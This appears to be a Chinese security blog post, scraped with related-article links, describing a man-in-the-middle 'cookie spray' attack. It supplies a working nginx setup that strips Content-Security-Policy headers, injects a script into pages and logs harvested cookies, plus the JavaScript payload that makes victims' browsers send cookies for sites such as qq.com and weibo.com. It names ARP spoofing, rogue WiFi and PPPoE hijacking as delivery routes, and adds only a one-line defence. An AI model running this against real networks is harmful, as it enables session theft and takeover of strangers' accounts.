0x00 前言

分享个中间人攻击姿势,屡试不爽。

原本是篇老文,不过写的太啰嗦。今天用简明的文字,重新讲一遍。

0x01 原理

传统 cookie 嗅探,只能获得用户主动访问的站点。不访问就抓不到,效率很低。

如果流量可控,不如在用户访问的页面中注入一个脚本。通过脚本,就可以请求任意站点:

new Image().src = 'http://anyhost'

因为请求头部会带上 cookie,所以能把任意站点的 cookie 骗上流量,让中间人拿到。

0x02 爆发

首先收集各大网站域名,然后挨个来一发:

var list = ['qq.com', '163.com', 'weibo.com', ...];

for (var i of list) {
new Image().src = 'http://' + i + '/__cookie';
}

这样,就能把用户各种网站的 cookie 都爆上一遍。

后端收到 /__cookie 请求,记录其中的 cookie,然后返回一个空内容。于是只需极小的流量,就可以测试一个站点。

0x03 优化

因为收集了各种站点,所以需要大量的域名解析。

为了让爆破更快,可以再劫持用户的 DNS 请求,暂时解析成自己 IP,这样域名查询就不用走外网。

       DNS
<----->
用户 中间人 外网
<----->
HTTP

同时还有个巨大的好处:整个系统不依赖外网,可以离线劫持!

比如在没互联网的地方,开一个 WiFi 就能攻击。

0x04 演示

我们用 nginx 来演示:

# nginx.conf

http {
resolver 114.114.114.114;
... log_format record_cookie '$time_iso8601 $remote_addr $http_host $http_cookie'; # 静态资源
server {
listen 8080;
server_name m.io;
gzip on;
#expires 1d;
root /path/to/;
} # 代理服务
server {
listen 8080 default_server;
server_name _;
gzip on; location / {
# 请求的是 html 资源,进入劫持流程
if ($http_accept ~ "text/html") {
rewrite ^ /__html;
}
# 其他资源,正常代理
proxy_pass http://$http_host;
} # 页面注入
location = /__html {
internal; # 压缩的内容无法 sub_filter,先解压
proxy_set_header host $http_host;
proxy_pass http://127.0.0.1:50000$request_uri; # 删除 CSP 头,防止被阻挡
proxy_hide_header Content-Security-Policy; # 注入脚本
sub_filter <head "<script src=//m.io/cookie.js></script><head";
} # 记录 cookie
location = /__cookie {
access_log /path/to/cookies.log record_cookie; # 设置缓存时间
# 避免每次访问页面,都产生大量请求(其实在 js 里判断会更好)
add_header Cache-Control "max-age=3600"; # 返回空内容
return 200;
}
} # 解压服务
server {
listen 127.0.0.1:50000;
gunzip on; location / {
proxy_set_header Accept-Encoding deflate;
proxy_pass http://$host;
}
}
}

/path/to 目录下,放置前端攻击脚本:

// cookie.js

(function(list) {
if (self != top) return; list = list.split(' '); for (var i = 0; i < list.length; i++) {
new Image().src = 'http://' + list[i] + '/__cookie';
}
})(
// 目标站点列表
'163.com qq.com weibo.com'
)

把浏览器的 HTTP 代理设成 127.0.0.1:8080,就可以演示了。

打开任意 HTTP 页面,就可以爆出用户的各种 Cookie:

实战方式有很多,能控制流量就行。比如 ARP 攻击、钓鱼 WiFi、钓鱼代理,或者劫持小区 PPPoE 网络,等等。

0x05 防范

其实和 JSONP、Flash 隐私泄露类似,关闭浏览器「第三方 cookie」即可。

三方 cookie 百害而无一利,隐私泄露的罪魁祸首。

中间人攻击 -- Cookie 喷发的更多相关文章

  1. 中间人攻击(MITM)姿势总结

    相关学习资料 http://www.cnblogs.com/LittleHann/p/3733469.html http://www.cnblogs.com/LittleHann/p/3738141. ...

  2. Android安全之Https中间人攻击漏洞

    Android安全之Https中间人攻击漏洞 0X01 概述   HTTPS,是一种网络安全传输协议,利用SSL/TLS来对数据包进行加密,以提供对网络服务器的身份认证,保护交换数据的隐私与完整性. ...

  3. ARP欺骗与中间人攻击

    前言: 上一篇WPA/WAP2wifi 密码破解笔记说到如何探测附近开放的AP并且破解进入,那么进入别人据局域网我们能干些什么呢?换句话说如果别人进入了我们内部网络,会有什么影响?本文简要介绍了ARP ...

  4. 中间人攻击之arp欺骗 科普ARP欺骗

    中间人攻击之arp欺骗 科普ARP欺骗 A <-> B A中有个ARP Table,每次发包都会在此Table中查找,若找不到,发APR Request包询问.此时若hacker冒充B的M ...

  5. 【网络安全】SSLSplit实现中间人攻击

    中间人攻击,即在中间监听获取网络数据以便获取的有价值的信息实现攻击破坏的目的,即client-mid man-server,此处介绍的sslsplit可以作为mid man监听ssl信息及HTTP信息 ...

  6. 中间人攻击工具mitmf(另类的XSS注入攻击)

    中间人攻击工具mitmf(另类的XSS注入攻击) (一)简介 (二)安装 (三)结合beef使用 (一)简介 Mitmf 是一款用来进行中间人攻击的工具.它可以结合 beef 一起来使用,并利用 be ...

  7. 中间人攻击之劫持登录会话(cookies)

    关于中间人攻击 中间人攻击(Man-in-the-MiddleAttack,简称"MITM攻击")是一种"间接"的入侵攻击,这种攻击模式是通过各种技术手段将受入 ...

  8. 自动化中间人攻击工具subterfuge小实验

    Subterfuge是一款用python写的中间人攻击框架,它集成了一个前端和收集了一些著名的可用于中间人攻击的安全工具. Subterfuge主要调用的是sslstrip,sslstrip 是08 ...

  9. 转:中间人攻击利用框架bettercap测试

    0x00前言 上篇提到内网渗透很有趣,这次就从一款新工具说起: bettercap 0x01简介 bettercap可用来实现各种中间人攻击,模块化,便携.易扩展 0x02特点 提到中间人攻击,最知名 ...

随机推荐

  1. memcache入门笔记

    向memcached保存数据时可以指定期限(秒).不指定期限时,memcached按照LRU算法保存数据. 这三个方法的区别如下: 选项 说明 add 仅当存储空间中不存在键相同的数据时才保存 rep ...

  2. Microsoft Visual Studio 开发的C++程序软件发布相关事宜

    VS2005/VS2008软件发布: Debug版本: 非MFC程序: 编译选项mdd: 仅依赖C++库和C运行时库,需要到VS2005/VS2008下安装目录VC/redist/Debug_NonR ...

  3. HP-SOCKET TCP/UDP通信框架库解析

    项目概述: HP-SOCKET是一套通用TCP/UDP通信框架,包括服务器.客户端.Agent组件:其目标是提供高性能.通用性.简易性.可扩展.可定制: 鉴于此,其仅实现基本的通用框架通信.数据收发功 ...

  4. oracle 11.2.0.4单实例文件系统安装与补丁

    [TOC] 一,预安装处理 1.版本准备 操作系统:RHEL 6.5 数据库版本:Oracle 11.2.0.4 相关包:p13390677_112040_Linux-x86-64_1of7.zip  ...

  5. [leetcode] 题型整理之图论

    图论的常见题目有两类,一类是求两点间最短距离,另一类是拓扑排序,两种写起来都很烦. 求最短路径: 127. Word Ladder Given two words (beginWord and end ...

  6. VS低版本打开高版本解决方案(如08打开10、12、13版本vs编译的项目)

    一.vs2005打开vs2008编译的项目:1.用记事本打开sln文件,将: Microsoft Visual Studio Solution File, Format Version 10.00 # ...

  7. js判断当前页面在移动设备还是在PC端中打开

    方法一: var isPC = function () { var userAgentInfo = navigator.userAgent.toLowerCase(); var Agents = ne ...

  8. 关于在django框架里取已登录用户名字的问题

    在 views里取值是这样的 request.user.username而在模板页面取值是这样的:{{request.user}} 判断是否通过验证是这样的 {% if request.user.is ...

  9. 安卓智能POS终端手持机PDA应用仓库出入库,移库,盘点,销售开单系统

    随着移动互联网的兴起,目前仓储管理所面临的的问题可以迎刃而解,WMS仓库系统解决方案通过智能终端扫描条码技术应用解决了工作量大导致工作效率不高,以及数据实时传输等问题,该方案主要提供仓库出入库,移库, ...

  10. ViewPager取消左右滑动切换功能

    ViewPager取消左右滑动切换功能 最近做项目要求某种情况下ViewPager不能滑动,那么我们只需要重写这个方法就可以禁止ViewPager滑动 IndexViewPager.java: imp ...